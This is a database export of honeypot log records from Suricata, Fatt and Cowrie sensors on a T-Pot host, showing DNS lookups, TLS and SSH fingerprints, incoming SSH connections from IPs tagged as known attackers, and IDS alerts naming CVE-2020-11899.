36740	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:16:42.743466+03	2021-09-20 15:30:02.676869+03	{"_id": "PgYjA3wBvYTbRNuEFGSm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 30760, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1165288979191850, "@version": "1", "in_iface": "enp5s0", "src_port": 36477, "dest_port": 53, "timestamp": "2021-09-20T12:16:42.743466Z", "@timestamp": "2021-09-20T12:16:42.743Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36741	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:16:42.745025+03	2021-09-20 15:30:02.677868+03	{"_id": "PwYjA3wBvYTbRNuEFGSm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 30760, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1672, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1165288979191850, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 36477, "timestamp": "2021-09-20T12:16:42.745025Z", "@timestamp": "2021-09-20T12:16:42.745Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36742	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:42.798473+03	2021-09-20 15:30:02.678867+03	{"_id": "RAYjA3wBvYTbRNuEFWTu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36314, "dest_port": 443, "timestamp": "2021-09-20T12:16:42.798473", "@timestamp": "2021-09-20T12:16:42.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36743	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:16:42.840507+03	2021-09-20 15:30:02.679867+03	{"_id": "RQYjA3wBvYTbRNuEFWTu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36314, "timestamp": "2021-09-20T12:16:42.840507", "@timestamp": "2021-09-20T12:16:42.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36744	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:16:43.937404+03	2021-09-20 15:30:02.680869+03	{"_id": "TAYjA3wBvYTbRNuEGGSO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:43.937404+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557513059772, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:16:43.937404Z", "@timestamp": "2021-09-20T12:16:43.937Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36745	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:44.130297+03	2021-09-20 15:30:02.681869+03	{"_id": "VQYjA3wBvYTbRNuEG2Rv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.14.9:60096 (192.168.176.2:22) [session: ca00cf87f2d1]", "session": "ca00cf87f2d1", "@version": "1", "protocol": "ssh", "src_port": 60096, "dest_port": 22, "timestamp": "2021-09-20T12:16:44.130297Z", "@timestamp": "2021-09-20T12:16:44.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36746	81.71.14.9	109.199.241.180	Suricata	2021-09-20 15:16:44.408373+03	2021-09-20 15:30:02.683868+03	{"_id": "WwYjA3wBvYTbRNuEHGR4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "flow_id": 797820167324597, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60096, "dest_port": 22, "timestamp": "2021-09-20T12:16:44.408373Z", "@timestamp": "2021-09-20T12:16:44.408Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36747	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 15:16:44.424184+03	2021-09-20 15:30:02.685869+03	{"_id": "XQYjA3wBvYTbRNuEHGR4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:44.424184+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1298720728316152, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:16:44.424184Z", "@timestamp": "2021-09-20T12:16:44.424Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
36748	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:44.408548+03	2021-09-20 15:30:02.686867+03	{"_id": "XwYjA3wBvYTbRNuEHWR6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.14.9", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60096, "timestamp": "2021-09-20T12:16:44.408548", "@timestamp": "2021-09-20T12:16:44.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36749	150.109.115.128	109.199.241.180	Suricata	2021-09-20 15:16:46.026029+03	2021-09-20 15:30:02.688867+03	{"_id": "YwYjA3wBvYTbRNuEIGRh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:16:45.605276+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 699744589266012, "payload": "AAADzAYUgx1rzhxzgcbtCqicF+1wUAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40590, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:16:46.026029Z", "@timestamp": "2021-09-20T12:16:46.026Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........k..s...\\n....pP...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	HK
36750	150.109.115.128	109.199.241.180	Fatt	2021-09-20 15:16:46.026029+03	2021-09-20 15:30:02.689867+03	{"_id": "bwYjA3wBvYTbRNuEIWSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40590, "dest_port": 22, "timestamp": "2021-09-20T12:16:46.026029", "@timestamp": "2021-09-20T12:16:46.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	HK
36756	81.71.14.9	109.199.241.180	Suricata	2021-09-20 15:16:46.446287+03	2021-09-20 15:30:02.697868+03	{"_id": "dwYjA3wBvYTbRNuEJGRL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "flow_id": 1725234603190466, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60272, "dest_port": 22, "timestamp": "2021-09-20T12:16:46.446287Z", "@timestamp": "2021-09-20T12:16:46.446Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36751	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:46.165759+03	2021-09-20 15:30:02.690868+03	{"_id": "cAYjA3wBvYTbRNuEIWSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.14.9", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60272, "timestamp": "2021-09-20T12:16:46.165759", "@timestamp": "2021-09-20T12:16:46.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36752	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:16:45.821144+03	2021-09-20 15:30:02.692869+03	{"_id": "cQYjA3wBvYTbRNuEI2RB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d2d26eabc461", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:16:45.821144Z", "@timestamp": "2021-09-20T12:16:45.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	HK
36753	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:46.164736+03	2021-09-20 15:30:02.693869+03	{"_id": "dgYjA3wBvYTbRNuEI2RB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "13b69276ac7e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:16:46.164736Z", "@timestamp": "2021-09-20T12:16:46.164Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36754	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:46.161673+03	2021-09-20 15:30:02.694869+03	{"_id": "cgYjA3wBvYTbRNuEI2RB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.14.9:60272 (192.168.176.2:22) [session: 13b69276ac7e]", "session": "13b69276ac7e", "@version": "1", "protocol": "ssh", "src_port": 60272, "dest_port": 22, "timestamp": "2021-09-20T12:16:46.161673Z", "@timestamp": "2021-09-20T12:16:46.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
